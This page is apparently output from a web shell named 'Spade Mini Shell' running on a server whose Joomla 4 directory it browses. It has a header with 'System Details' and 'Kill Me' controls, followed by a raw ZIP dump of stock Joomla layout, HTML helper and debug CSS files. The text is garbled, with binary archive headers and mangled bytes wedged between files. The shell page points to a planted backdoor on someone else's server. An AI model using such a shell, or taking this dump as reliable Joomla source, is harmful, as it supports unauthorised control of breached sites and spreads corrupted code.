Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/joomla4/ |
| [Home] [System Details] [Kill Me] |
PK!���html/bootstrap/addtab.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$id = empty($displayData['id']) ? '' :
$displayData['id'];
$active = empty($displayData['active']) ? '' :
$displayData['active'];
?>
<div id="<?php echo $id; ?>"
class="tab-pane<?php echo $active; ?>">
PK!$��html/bootstrap/addtabscript.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$selector = empty($displayData['selector']) ? '' :
$displayData['selector'];
$id = empty($displayData['id']) ? '' :
$displayData['id'];
$active = empty($displayData['active']) ? '' :
$displayData['active'];
$title = empty($displayData['title']) ? '' :
$displayData['title'];
$li = '<li class="' . $active . '"><a
href="#' . $id . '"
data-toggle="tab">' . $title .
'</a></li>';
echo 'jQuery(function($){ $(', json_encode('#' .
$selector . 'Tabs'), ').append($(', json_encode($li),
')); });';
PK!�ӻhtml/bootstrap/endtab.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>PK!�ӻhtml/bootstrap/endtabset.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>PK!o"��html/bootstrap/starttabset.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$selector = empty($displayData['selector']) ? '' :
$displayData['selector'];
?>
<ul class="nav nav-tabs" id="<?php echo $selector;
?>Tabs"></ul>
<div class="tab-content" id="<?php echo $selector;
?>Content">PK!��$$html/bootstrap/starttabsetscript.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$selector = empty($displayData['selector']) ? '' :
$displayData['selector'];
echo
'jQuery(function($){ ',
'$(', json_encode('#' . $selector . ' a'),
')',
'.click(function (e) {',
'e.preventDefault();',
'$(this).tab("show");',
'});',
'});';
PKy_�[*�S��
css/debug.cssnu�[���/**
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
/* Common CSS for system debug */
div#system-debug {
clear: both;
}
#system-debug {
background-color: #fff;
color: #000;
border: 1px dashed silver;
padding: 10px;
}
#system-debug div.dbg-header {
background-color: #ddd;
border: 1px solid #eee;
font-size: 16px;
}
#system-debug h3 {
margin: 0;
}
#system-debug a h3 {
background-color: #ddd;
color: #000;
font-size: 14px;
padding: 5px;
text-decoration: none;
margin: 0px;
}
#system-debug .dbg-error a h3 {
background-color: red;
}
#system-debug a:hover h3,
#system-debug a:focus h3 {
background-color: #4d4d4d;
color: #ddd;
font-size: 14px;
cursor: pointer;
text-decoration: none;
}
#system-debug div.dbg-container {
padding: 10px;
}
#system-debug span.dbg-command {
color: blue;
font-weight: bold;
}
#system-debug span.dbg-table {
color: green;
font-weight: bold;
}
#system-debug b.dbg-operator {
color: red;
font-weight: bold;
}
#system-debug h1 {
background-color: #2c2c2c;
color: #fff;
padding: 10px;
margin: 0;
font-size: 16px;
line-height: 1em;
}
#system-debug h4 {
font-size: 14px;
font-weight: bold;
margin: 5px 0 0 0;
}
#system-debug h5 {
font-size: 13px;
font-weight: bold;
margin: 5px 0 0 0;
}
div#system-debug {
margin: 5px;
}
#system-debug ol {
margin-left: 25px;
margin-right: 25px;
text-align: left;
direction: ltr;
}
#system-debug ul {
list-style: none;
text-align: left;
direction: ltr;
}
#system-debug li {
font-size: 13px;
margin-bottom: 10px;
}
#system-debug code {
font-size: 13px;
text-align: left;
direction: ltr;
}
#system-debug p {
font-size: 13px;
}
#system-debug div.dbg-header.dbg-error {
background-color: red;
}
#system-debug .dbg-warning {
color: red;
font-weight: bold;
background-color: #ffffcc !important;
}
#system-debug .accordion {
margin-bottom: 0;
}
#system-debug .dbg-noprofile {
text-decoration: line-through;
}
/* dbg-bars */
#system-debug .alert,
#system-debug .dbg-bars {
margin-bottom: 10px;
}
#system-debug .dbg-bar-spacer {
float: left;
height: 100%;
}
/* dbg-bars-query */
#system-debug .dbg-bars-query .dbg-bar {
opacity: 0.3;
height: 12px;
margin-top: 3px;
}
#system-debug .dbg-bars-query:hover .dbg-bar {
opacity: 0.6;
height: 18px;
margin-top: 0;
}
#system-debug .dbg-bars-query .dbg-bar:hover,
#system-debug .dbg-bars-query .dbg-bar-active,
#system-debug .dbg-bars-query:hover .dbg-bar-active {
opacity: 1;
height: 18px;
margin-top: 0;
}
/* dbg-query-table */
#system-debug table.dbg-query-table {
margin: 0px 0px 6px;
}
#system-debug table.dbg-query-table th,
#system-debug table.dbg-query-table td {
padding: 3px 8px;
}
#system-debug .dbg-profile-list .label {
display: inline-block;
min-width: 60px;
text-align: right;
}
#system-debug .dbg-query-memory,
#system-debug .dbg-query-rowsnumber
{
margin-left: 50px;
}
#dbg_container_session pre
{
background: white;
border: 0;
margin: 0;
padding: 0;
}
#dbg_container_session pre .blue
{
color:blue;
}
#dbg_container_session pre .green
{
color:green;
}
#dbg_container_session pre .black
{
color:black;
}
#dbg_container_session pre .grey
{
color:grey;
}PK〈[_»��class/loader.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage Class
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Composer\Autoload\ClassLoader;
/**
* Decorate Composer ClassLoader for Joomla!
*
* For backward compatibility due to class aliasing in the CMS, the
loadClass() method was modified to call
* the JLoader::applyAliasFor() method.
*
* @since 3.4
*/
class JClassLoader
{
/**
* The composer class loader
*
* @var ClassLoader
* @since 3.4
*/
private $loader;
/**
* Constructor
*
* @param ClassLoader $loader Composer autoloader
*
* @since 3.4
*/
public function __construct(ClassLoader $loader)
{
$this->loader = $loader;
}
/**
* Loads the given class or interface.
*
* @param string $class The name of the class
*
* @return boolean|null True if loaded, null otherwise
*
* @since 3.4
*/
public function loadClass($class)
{
if ($result = $this->loader->loadClass($class))
{
JLoader::applyAliasFor($class);
}
return $result;
}
}
PK〈[�����html/access.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Extended Utility class for all HTML drawing classes.
*
* @since 1.6
*/
abstract class JHtmlAccess
{
/**
* A cached array of the asset groups
*
* @var array
* @since 1.6
*/
protected static $asset_groups = null;
/**
* Displays a list of the available access view levels
*
* @param string $name The form field name.
* @param string $selected The name of the selected section.
* @param string $attribs Additional attributes to add to the select
field.
* @param mixed $params True to add "All Sections" option
or an array of options
* @param mixed $id The form field id or false if not used
*
* @return string The required HTML for the SELECT tag.
*
* @see JFormFieldAccessLevel
* @since 1.6
*/
public static function level($name, $selected, $attribs = '',
$params = true, $id = false)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('a.id', 'value') .
', ' . $db->quoteName('a.title', 'text'))
->from($db->quoteName('#__viewlevels', 'a'))
->group($db->quoteName(array('a.id',
'a.title', 'a.ordering')))
->order($db->quoteName('a.ordering') . ' ASC')
->order($db->quoteName('title') . ' ASC');
// Get the options.
$db->setQuery($query);
$options = $db->loadObjectList();
// If params is an array, push these options to the array
if (is_array($params))
{
$options = array_merge($params, $options);
}
// If all levels is allowed, push it into the array.
elseif ($params)
{
array_unshift($options, JHtml::_('select.option',
'', JText::_('JOPTION_ACCESS_SHOW_ALL_LEVELS')));
}
return JHtml::_(
'select.genericlist',
$options,
$name,
array(
'list.attr' => $attribs,
'list.select' => $selected,
'id' => $id,
)
);
}
/**
* Displays a list of the available user groups.
*
* @param string $name The form field name.
* @param string $selected The name of the selected section.
* @param string $attribs Additional attributes to add to the select
field.
* @param boolean $allowAll True to add "All Groups" option.
* @param mixed $id The form field id
*
* @return string The required HTML for the SELECT tag.
*
* @see JFormFieldUsergroup
* @since 1.6
*/
public static function usergroup($name, $selected, $attribs =
'', $allowAll = true, $id = false)
{
$options = array_values(JHelperUsergroups::getInstance()->getAll());
for ($i = 0, $n = count($options); $i < $n; $i++)
{
$options[$i]->value = $options[$i]->id;
$options[$i]->text = str_repeat('- ',
$options[$i]->level) . $options[$i]->title;
}
// If all usergroups is allowed, push it into the array.
if ($allowAll)
{
array_unshift($options, JHtml::_('select.option',
'', JText::_('JOPTION_ACCESS_SHOW_ALL_GROUPS')));
}
return JHtml::_('select.genericlist', $options, $name,
array('list.attr' => $attribs, 'list.select' =>
$selected, 'id' => $id));
}
/**
* Returns a UL list of user groups with checkboxes
*
* @param string $name The name of the checkbox controls
array
* @param array $selected An array of the checked boxes
* @param boolean $checkSuperAdmin If false only super admins can add
to super admin groups
*
* @return string
*
* @since 1.6
*/
public static function usergroups($name, $selected, $checkSuperAdmin =
false)
{
static $count;
$count++;
$isSuperAdmin =
JFactory::getUser()->authorise('core.admin');
$groups = array_values(JHelperUsergroups::getInstance()->getAll());
$html = array();
for ($i = 0, $n = count($groups); $i < $n; $i++)
{
$item = &$groups[$i];
// If checkSuperAdmin is true, only add item if the user is superadmin
or the group is not super admin
if ((!$checkSuperAdmin) || $isSuperAdmin ||
(!JAccess::checkGroup($item->id, 'core.admin')))
{
// Setup the variable attributes.
$eid = $count . 'group_' . $item->id;
// Don't call in_array unless something is selected
$checked = '';
if ($selected)
{
$checked = in_array($item->id, $selected) ? '
checked="checked"' : '';
}
$rel = ($item->parent_id > 0) ? ' rel="' . $count
. 'group_' . $item->parent_id . '"' :
'';
// Build the HTML for the item.
$html[] = ' <div class="control-group">';
$html[] = ' <div class="controls">';
$html[] = ' <label class="checkbox"
for="' . $eid . '">';
$html[] = ' <input type="checkbox"
name="' . $name . '[]" value="' .
$item->id . '" id="' . $eid . '"';
$html[] = ' ' . $checked . $rel . ' />';
$html[] = ' ' .
JLayoutHelper::render('joomla.html.treeprefix',
array('level' => $item->level + 1)) . $item->title;
$html[] = ' </label>';
$html[] = ' </div>';
$html[] = ' </div>';
}
}
return implode("\n", $html);
}
/**
* Returns a UL list of actions with checkboxes
*
* @param string $name The name of the checkbox controls array
* @param array $selected An array of the checked boxes
* @param string $component The component the permissions apply to
* @param string $section The section (within a component) the
permissions apply to
*
* @return string
*
* @see JAccess
* @since 1.6
*/
public static function actions($name, $selected, $component, $section =
'global')
{
static $count;
$count++;
$actions = JAccess::getActionsFromFile(
JPATH_ADMINISTRATOR . '/components/' . $component .
'/access.xml',
"/access/section[@name='" . $section .
"']/"
);
$html = array();
$html[] = '<ul class="checklist
access-actions">';
for ($i = 0, $n = count($actions); $i < $n; $i++)
{
$item = &$actions[$i];
// Setup the variable attributes.
$eid = $count . 'action_' . $item->id;
$checked = in_array($item->id, $selected) ? '
checked="checked"' : '';
// Build the HTML for the item.
$html[] = ' <li>';
$html[] = ' <input type="checkbox" name="'
. $name . '[]" value="' . $item->id . '"
id="' . $eid . '"';
$html[] = ' ' . $checked . ' />';
$html[] = ' <label for="' . $eid .
'">';
$html[] = ' ' . JText::_($item->title);
$html[] = ' </label>';
$html[] = ' </li>';
}
$html[] = '</ul>';
return implode("\n", $html);
}
/**
* Gets a list of the asset groups as an array of JHtml compatible
options.
*
* @return mixed An array or false if an error occurs
*
* @since 1.6
*/
public static function assetgroups()
{
if (empty(static::$asset_groups))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('a.id AS value, a.title AS text')
->from($db->quoteName('#__viewlevels') . ' AS
a')
->group('a.id, a.title, a.ordering')
->order('a.ordering ASC');
$db->setQuery($query);
static::$asset_groups = $db->loadObjectList();
}
return static::$asset_groups;
}
/**
* Displays a Select list of the available asset groups
*
* @param string $name The name of the select element
* @param mixed $selected The selected asset group id
* @param string $attribs Optional attributes for the select field
* @param array $config An array of options for the control
*
* @return mixed An HTML string or null if an error occurs
*
* @since 1.6
*/
public static function assetgrouplist($name, $selected, $attribs = null,
$config = array())
{
static $count;
$options = static::assetgroups();
if (isset($config['title']))
{
array_unshift($options, JHtml::_('select.option',
'', $config['title']));
}
return JHtml::_(
'select.genericlist',
$options,
$name,
array(
'id' => isset($config['id']) ?
$config['id'] : 'assetgroups_' . (++$count),
'list.attr' => $attribs === null ?
'class="inputbox" size="3"' : $attribs,
'list.select' => (int) $selected,
)
);
}
}
PK〈[�<�oohtml/actionsdropdown.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* HTML utility class for building a dropdown menu
*
* @since 3.2
*/
abstract class JHtmlActionsDropdown
{
/**
* @var string HTML markup for the dropdown list
* @since 3.2
*/
protected static $dropDownList = array();
/**
* Method to render current dropdown menu
*
* @param string $item An item to render.
*
* @return string HTML markup for the dropdown list
*
* @since 3.2
*/
public static function render($item = '')
{
$html = array();
$html[] = '<button data-toggle="dropdown"
class="dropdown-toggle btn btn-micro">';
$html[] = '<span class="caret"></span>';
if ($item)
{
$html[] = '<span class="element-invisible">' .
JText::sprintf('JACTIONS', $item) . '</span>';
}
$html[] = '</button>';
$html[] = '<ul class="dropdown-menu">';
$html[] = implode('', static::$dropDownList);
$html[] = '</ul>';
static::$dropDownList = null;
return implode('', $html);
}
/**
* Append a publish item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function publish($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'publish';
static::addCustomItem(JText::_('JTOOLBAR_PUBLISH'),
'publish', $id, $task);
}
/**
* Append an unpublish item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function unpublish($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'unpublish';
static::addCustomItem(JText::_('JTOOLBAR_UNPUBLISH'),
'unpublish', $id, $task);
}
/**
* Append a feature item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function feature($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'featured';
static::addCustomItem(JText::_('JFEATURE'),
'featured', $id, $task);
}
/**
* Append an unfeature item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function unfeature($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'unfeatured';
static::addCustomItem(JText::_('JUNFEATURE'),
'unfeatured', $id, $task);
}
/**
* Append an archive item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function archive($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'archive';
static::addCustomItem(JText::_('JTOOLBAR_ARCHIVE'),
'archive', $id, $task);
}
/**
* Append an unarchive item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function unarchive($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'unpublish';
static::addCustomItem(JText::_('JTOOLBAR_UNARCHIVE'),
'unarchive', $id, $task);
}
/**
* Append a duplicate item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function duplicate($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'duplicate';
static::addCustomItem(JText::_('JTOOLBAR_DUPLICATE'),
'copy', $id, $task);
}
/**
* Append a trash item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function trash($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'trash';
static::addCustomItem(JText::_('JTOOLBAR_TRASH'),
'trash', $id, $task);
}
/**
* Append an untrash item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function untrash($id, $prefix = '')
{
self::publish($id, $prefix);
}
/**
* Writes a divider between dropdown items
*
* @return void
*
* @since 3.0
*/
public static function divider()
{
static::$dropDownList[] = '<li
class="divider"></li>';
}
/**
* Append a custom item to current dropdown menu.
*
* @param string $label The label of the item.
* @param string $icon The icon classname.
* @param string $id The item id.
* @param string $task The task.
*
* @return void
*
* @since 3.2
*/
public static function addCustomItem($label, $icon = '', $id =
'', $task = '')
{
static::$dropDownList[] = '<li>'
. '<a href = "javascript://"
onclick="listItemTask(\'' . $id . '\',
\'' . $task . '\')">'
. ($icon ? '<span class="icon-' . $icon . '"
aria-hidden="true"></span> ' : '')
. $label
. '</a>'
. '</li>';
}
}
PK〈[�sB��html/adminlanguage.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class working with administrator language select lists
*
* @since 3.8.0
*/
abstract class JHtmlAdminLanguage
{
/**
* Cached array of the administrator language items.
*
* @var array
* @since 3.8.0
*/
protected static $items = null;
/**
* Get a list of the available administrator language items.
*
* @param boolean $all True to include All (*)
* @param boolean $translate True to translate All
*
* @return string
*
* @since 3.8.0
*/
public static function existing($all = false, $translate = false)
{
if (empty(static::$items))
{
$languages = array();
$admin_languages =
JLanguageHelper::getKnownLanguages(JPATH_ADMINISTRATOR);
foreach ($admin_languages as $tag => $language)
{
$languages[$tag] = $language['nativeName'];
}
ksort($languages);
static::$items = $languages;
}
if ($all)
{
$all_option = array(new JObject(array('value' =>
'*', 'text' => $translate ?
JText::alt('JALL', 'language') :
'JALL_LANGUAGE')));
return array_merge($all_option, static::$items);
}
else
{
return static::$items;
}
}
}
PK〈[Em����html/batch.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Extended Utility class for batch processing widgets.
*
* @since 1.7
*
* @deprecated 4.0 Use JLayout directly
*/
abstract class JHtmlBatch
{
/**
* Display a batch widget for the access level selector.
*
* @return string The necessary HTML for the widget.
*
* @since 1.7
*
* @deprecated 4.0 instead of JHtml::_('batch.access'); use
JLayoutHelper::render('joomla.html.batch.access', array());
*/
public static function access()
{
JLog::add('The use of JHtml::_("batch.access") is
deprecated use JLayout instead.', JLog::WARNING,
'deprecated');
return JLayoutHelper::render('joomla.html.batch.access',
array());
}
/**
* Displays a batch widget for moving or copying items.
*
* @param string $extension The extension that owns the category.
*
* @return string The necessary HTML for the widget.
*
* @since 1.7
*
* @deprecated 4.0 instead of JHtml::_('batch.item'); use
JLayoutHelper::render('joomla.html.batch.item',
array('extension' => 'com_XXX'));
*/
public static function item($extension)
{
$displayData = array('extension' => $extension);
JLog::add('The use of JHtml::_("batch.item") is deprecated
use JLayout instead.', JLog::WARNING, 'deprecated');
return JLayoutHelper::render('joomla.html.batch.item',
$displayData);
}
/**
* Display a batch widget for the language selector.
*
* @return string The necessary HTML for the widget.
*
* @since 2.5
*
* @deprecated 4.0 instead of JHtml::_('batch.language'); use
JLayoutHelper::render('joomla.html.batch.language', array());
*/
public static function language()
{
JLog::add('The use of JHtml::_("batch.language") is
deprecated use JLayout instead.', JLog::WARNING,
'deprecated');
return JLayoutHelper::render('joomla.html.batch.language',
array());
}
/**
* Display a batch widget for the user selector.
*
* @param boolean $noUser Choose to display a "no user"
option
*
* @return string The necessary HTML for the widget.
*
* @since 2.5
*
* @deprecated 4.0 instead of JHtml::_('batch.user'); use
JLayoutHelper::render('joomla.html.batch.user', array());
*/
public static function user($noUser = true)
{
$displayData = array('noUser' => $noUser);
JLog::add('The use of JHtml::_("batch.user") is deprecated
use JLayout instead.', JLog::WARNING, 'deprecated');
return JLayoutHelper::render('joomla.html.batch.user',
$displayData);
}
/**
* Display a batch widget for the tag selector.
*
* @return string The necessary HTML for the widget.
*
* @since 3.1
*
* @deprecated 4.0 instead of JHtml::_('batch.tag'); use
JLayoutHelper::render('joomla.html.batch.tag', array());
*/
public static function tag()
{
JLog::add('The use of JHtml::_("batch.tag") is deprecated
use JLayout instead.', JLog::WARNING, 'deprecated');
return JLayoutHelper::render('joomla.html.batch.tag', array());
}
}
PK〈[�B\�{�{html/behavior.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for JavaScript behaviors
*
* @since 1.5
*/
abstract class JHtmlBehavior
{
/**
* Array containing information for loaded files
*
* @var array
* @since 2.5
*/
protected static $loaded = array();
/**
* Method to load the MooTools framework into the document head
*
* If debugging mode is on an uncompressed version of MooTools is included
for easier debugging.
*
* @param boolean $extras Flag to determine whether to load MooTools
More in addition to Core
* @param mixed $debug Is debugging mode on? [optional]
*
* @return void
*
* @since 1.6
* @deprecated 4.0 Update scripts to jquery
*/
public static function framework($extras = false, $debug = null)
{
$type = $extras ? 'more' : 'core';
// Only load once
if (!empty(static::$loaded[__METHOD__][$type]))
{
return;
}
JLog::add('JHtmlBehavior::framework is deprecated. Update to jquery
scripts.', JLog::WARNING, 'deprecated');
// If no debugging value is set, use the configuration setting
if ($debug === null)
{
$debug = JDEBUG;
}
if ($type !== 'core' &&
empty(static::$loaded[__METHOD__]['core']))
{
static::framework(false, $debug);
}
JHtml::_('script', 'system/mootools-' . $type .
'.js', array('version' => 'auto',
'relative' => true, 'detectDebug' => $debug));
// Keep loading core.js for BC reasons
static::core();
static::$loaded[__METHOD__][$type] = true;
return;
}
/**
* Method to load core.js into the document head.
*
* Core.js defines the 'Joomla' namespace and contains functions
which are used across extensions
*
* @return void
*
* @since 3.3
*/
public static function core()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
JHtml::_('form.csrf');
JHtml::_('script', 'system/core.js',
array('version' => 'auto', 'relative'
=> true));
// Add core and base uri paths so javascript scripts can use them.
JFactory::getDocument()->addScriptOptions('system.paths',
array('root' => JUri::root(true), 'base' =>
JUri::base(true)));
static::$loaded[__METHOD__] = true;
}
/**
* Add unobtrusive JavaScript support for image captions.
*
* @param string $selector The selector for which a caption behaviour
is to be applied.
*
* @return void
*
* @since 1.5
*
* @Deprecated 4.0 Use native HTML figure tags.
*/
public static function caption($selector = 'img.caption')
{
JLog::add('JHtmlBehavior::caption is deprecated. Use native HTML
figure tags.', JLog::WARNING, 'deprecated');
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'system/caption.js',
array('version' => 'auto', 'relative'
=> true));
// Attach caption to document
JFactory::getDocument()->addScriptDeclaration(
"jQuery(window).on('load', function() {
new JCaption('" . $selector . "');
});"
);
// Set static array
static::$loaded[__METHOD__][$selector] = true;
}
/**
* Add unobtrusive JavaScript support for form validation.
*
* To enable form validation the form tag must have
class="form-validate".
* Each field that needs to be validated needs to have
class="validate".
* Additional handlers can be added to the handler for username, password,
* numeric and email. To use these add class="validate-email"
and so on.
*
* @return void
*
* @since 1.5
*
* @Deprecated 3.4 Use formvalidator instead
*/
public static function formvalidation()
{
JLog::add('The use of formvalidation is deprecated use formvalidator
instead.', JLog::WARNING, 'deprecated');
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include MooTools framework
static::framework();
// Load the new jQuery code
static::formvalidator();
}
/**
* Add unobtrusive JavaScript support for form validation.
*
* To enable form validation the form tag must have
class="form-validate".
* Each field that needs to be validated needs to have
class="validate".
* Additional handlers can be added to the handler for username, password,
* numeric and email. To use these add class="validate-email"
and so on.
*
* @return void
*
* @since 3.4
*/
public static function formvalidator()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include core
static::core();
// Include jQuery
JHtml::_('jquery.framework');
// Add validate.js language strings
JText::script('JLIB_FORM_FIELD_INVALID');
JHtml::_('script', 'system/punycode.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('script', 'system/validate.js',
array('version' => 'auto', 'relative'
=> true));
static::$loaded[__METHOD__] = true;
}
/**
* Add unobtrusive JavaScript support for submenu switcher support
*
* @return void
*
* @since 1.5
*/
public static function switcher()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'system/switcher.js',
array('framework' => true, 'version' =>
'auto', 'relative' => true));
$script = "
document.switcher = null;
jQuery(function($){
var toggler = document.getElementById('submenu');
var element = document.getElementById('config-document');
if (element) {
document.switcher = new JSwitcher(toggler, element);
}
});";
JFactory::getDocument()->addScriptDeclaration($script);
static::$loaded[__METHOD__] = true;
}
/**
* Add unobtrusive JavaScript support for a combobox effect.
*
* Note that this control is only reliable in absolutely positioned
elements.
* Avoid using a combobox in a slider or dynamic pane.
*
* @return void
*
* @since 1.5
*/
public static function combobox()
{
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Include core
static::core();
JHtml::_('script', 'system/combobox.js',
array('version' => 'auto', 'relative'
=> true));
static::$loaded[__METHOD__] = true;
}
/**
* Add unobtrusive JavaScript support for a hover tooltips.
*
* Add a title attribute to any element in the form
* title="title::text"
*
* Uses the core Tips class in MooTools.
*
* @param string $selector The class selector for the tooltip.
* @param array $params An array of options for the tooltip.
* Options for the tooltip can be:
* - maxTitleChars integer The maximum
number of characters in the tooltip title (defaults to 50).
* - offsets object The distance of
your tooltip from the mouse (defaults to {'x': 16, 'y':
16}).
* - showDelay integer The millisecond
delay the show event is fired (defaults to 100).
* - hideDelay integer The millisecond
delay the hide hide is fired (defaults to 100).
* - className string The className
your tooltip container will get.
* - fixed boolean If set to true,
the toolTip will not follow the mouse.
* - onShow function The default
function for the show event, passes the tip element
* and the currently hovered element.
* - onHide function The default
function for the hide event, passes the currently
* hovered element.
*
* @return void
*
* @since 1.5
*/
public static function tooltip($selector = '.hasTip', $params =
array())
{
$sig = md5(serialize(array($selector, $params)));
if (isset(static::$loaded[__METHOD__][$sig]))
{
return;
}
// Include MooTools framework
static::framework(true);
// Setup options object
$opt['maxTitleChars'] =
isset($params['maxTitleChars']) &&
$params['maxTitleChars'] ? (int)
$params['maxTitleChars'] : 50;
// Offsets needs an array in the format: array('x'=>20,
'y'=>30)
$opt['offset'] = isset($params['offset'])
&& is_array($params['offset']) ?
$params['offset'] : null;
$opt['showDelay'] = isset($params['showDelay']) ?
(int) $params['showDelay'] : null;
$opt['hideDelay'] = isset($params['hideDelay']) ?
(int) $params['hideDelay'] : null;
$opt['className'] = isset($params['className']) ?
$params['className'] : null;
$opt['fixed'] = isset($params['fixed'])
&& $params['fixed'];
$opt['onShow'] = isset($params['onShow']) ?
'\\' . $params['onShow'] : null;
$opt['onHide'] = isset($params['onHide']) ?
'\\' . $params['onHide'] : null;
$options = JHtml::getJSObject($opt);
// Include jQuery
JHtml::_('jquery.framework');
// Attach tooltips to document
JFactory::getDocument()->addScriptDeclaration(
"jQuery(function($) {
$('$selector').each(function() {
var title = $(this).attr('title');
if (title) {
var parts = title.split('::', 2);
var mtelement = document.id(this);
mtelement.store('tip:title', parts[0]);
mtelement.store('tip:text', parts[1]);
}
});
var JTooltips = new Tips($('$selector').get(), $options);
});"
);
// Set static array
static::$loaded[__METHOD__][$sig] = true;
return;
}
/**
* Add unobtrusive JavaScript support for modal links.
*
* @param string $selector The selector for which a modal behaviour is
to be applied.
* @param array $params An array of parameters for the modal
behaviour.
* Options for the modal behaviour can be:
* - ajaxOptions
* - size
* - shadow
* - overlay
* - onOpen
* - onClose
* - onUpdate
* - onResize
* - onShow
* - onHide
*
* @return void
*
* @since 1.5
* @deprecated 4.0 Use the modal equivalent from bootstrap
*/
public static function modal($selector = 'a.modal', $params =
array())
{
$document = JFactory::getDocument();
// Load the necessary files if they haven't yet been loaded
if (!isset(static::$loaded[__METHOD__]))
{
// Include MooTools framework
static::framework(true);
// Load the JavaScript and css
JHtml::_('script', 'system/modal.js',
array('framework' => true, 'version' =>
'auto', 'relative' => true));
JHtml::_('stylesheet', 'system/modal.css',
array('version' => 'auto', 'relative'
=> true));
}
$sig = md5(serialize(array($selector, $params)));
